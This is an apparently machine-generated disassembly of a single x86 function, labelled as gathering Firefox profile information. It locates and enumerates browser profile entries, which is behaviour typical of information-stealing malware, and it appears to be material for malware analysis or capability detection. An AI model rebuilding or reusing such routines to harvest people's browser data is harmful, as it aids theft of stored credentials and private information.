Function at 0x53db14
Capabilities:
Gather firefox profile information

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x27
push 0
push 0
dec ecx
jne 0x53db1c
push ecx
push ebx
push esi
push edi
mov esi, 0x5ba0d0
xor eax, eax
push ebp
push 0x53ddd1
push dword fs:[eax]
mov dword fs:[eax], esp
mov ebx, 0x104
lea eax, [ebp - 0x109]
xor ecx, ecx
mov edx, 0x104
call fcn.00403aa4
push ebx
lea eax, [ebp - 0x109]
push eax
push 0x53dde0
call fcn.004077d8
lea eax, [ebp - 0x110]
lea edx, [ebp - 0x109]
mov ecx, 0x105
call fcn.004054b8
lea eax, [ebp - 0x110]
mov edx, 0x53ddf0
call fcn.00405514
mov edx, dword [ebp - 0x110]
mov eax, dword [esi]
call fcn.0053d8fc
mov eax, dword [esi]
mov edx, dword [eax]
call dword [edx + 0x14]
dec eax
test eax, eax
jl 0x53dc03
inc eax
mov dword [ebp - 4], eax
xor ebx, ebx
lea eax, [ebp - 0x118]
lea edx, [ebp - 0x109]
mov ecx, 0x105
call fcn.004054b8
push dword [ebp - 0x118]
push 0x53de14
lea ecx, [ebp - 0x11c]
mov edx, ebx
mov eax, dword [esi]
mov edi, dword [eax]
call dword [edi + 0xc]
push dword [ebp - 0x11c]
lea eax, [ebp - 0x114]
mov edx, 3
call fcn.004055dc
mov ecx, dword [ebp - 0x114]
mov edx, ebx
mov eax, dword [esi]
mov edi, dword [eax]
call dword [edi + 0x20]
inc ebx
dec dword [ebp - 4]
jne 0x53dba8
xor ebx, ebx
lea ecx, [ebp - 0x120]
mov edx, ebx
mov eax, dword [esi]
mov edi, dword [eax]
call dword [edi + 0xc]
lea eax, [ebp - 0x120]
mov edx, 0x53de38
call fcn.00405514
mov eax, dword [ebp - 0x120]
call fcn.0040f7b0
test al, al
jne 0x53dd69
lea ecx, [ebp - 0x124]
mov edx, ebx
mov eax, dword [esi]
mov edi, dword [eax]
call dword [edi + 0xc]
lea eax, [ebp - 0x124]
mov edx, 0x53de50
call fcn.00405514
mov eax, dword [ebp - 0x124]
call fcn.0040f7b0
test al, al
jne 0x53dd38
lea ecx, [ebp - 0x128]
mov edx, ebx
mov eax, dword [esi]
mov edi, dword [eax]
call dword [edi + 0xc]
lea eax, [ebp - 0x128]
mov edx, 0x53de68
call fcn.00405514
mov eax, dword [ebp - 0x128]
call fcn.0040f7b0
test al, al
jne 0x53dd07
lea ecx, [ebp - 0x12c]
mov edx, ebx
mov eax, dword [esi]
mov edi, dword [eax]
call dword [edi + 0xc]
lea eax, [ebp - 0x12c]
mov edx, 0x53de80
call fcn.00405514
mov eax, dword [ebp - 0x12c]
call fcn.0040f7b0
test al, al
jne 0x53dcd3
mov edx, ebx
mov eax, dword [esi]
mov ecx, dword [eax]
call dword [ecx + 0x48]
jmp 0x53dd98
lea ecx, [ebp - 0x130]
mov edx, ebx
mov eax, dword [esi]
mov edi, dword [eax]
call dword [edi + 0xc]
lea eax, [ebp - 0x130]
mov edx, 0x53de80
call fcn.00405514
mov ecx, dword [ebp - 0x130]
mov edx, ebx
mov eax, dword [esi]
mov edi, dword [eax]
call dword [edi + 0x20]
inc ebx
jmp 0x53dd98
lea ecx, [ebp - 0x134]
mov edx, ebx
mov eax, dword [esi]
mov edi, dword [eax]
call dword [edi + 0xc]
lea eax, [ebp - 0x134]
mov edx, 0x53de68
call fcn.00405514
mov ecx, dword [ebp - 0x134]
mov edx, ebx
mov eax, dword [esi]
mov edi, dword [eax]
call dword [edi + 0x20]
inc ebx
jmp 0x53dd98
lea ecx, [ebp - 0x138]
mov edx, ebx
mov eax, dword [esi]
mov edi, dword [eax]
call dword [edi + 0xc]
lea eax, [ebp - 0x138]
mov edx, 0x53de50
call fcn.00405514
mov ecx, dword [ebp - 0x138]
mov edx, ebx
mov eax, dword [esi]
mov edi, dword [eax]
call dword [edi + 0x20]
inc ebx
jmp 0x53dd98
lea ecx, [ebp - 0x13c]
mov edx, ebx
mov eax, dword [esi]
mov edi, dword [eax]
call dword [edi + 0xc]
lea eax, [ebp - 0x13c]
mov edx, 0x53de38
call fcn.00405514
mov ecx, dword [ebp - 0x13c]
mov edx, ebx
mov eax, dword [esi]
mov edi, dword [eax]
call dword [edi + 0x20]
inc ebx
mov eax, dword [esi]
mov edx, dword [eax]
call dword [edx + 0x14]
cmp ebx, eax
jne 0x53dc05
mov edx, dword [esi]
mov eax, dword [0x5ba0d4]
mov ecx, dword [eax]
call dword [ecx + pe_nt_image_headers32]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x53ddd8
lea eax, [ebp - 0x13c]
mov edx, 0xc
call fcn.0040526c
ret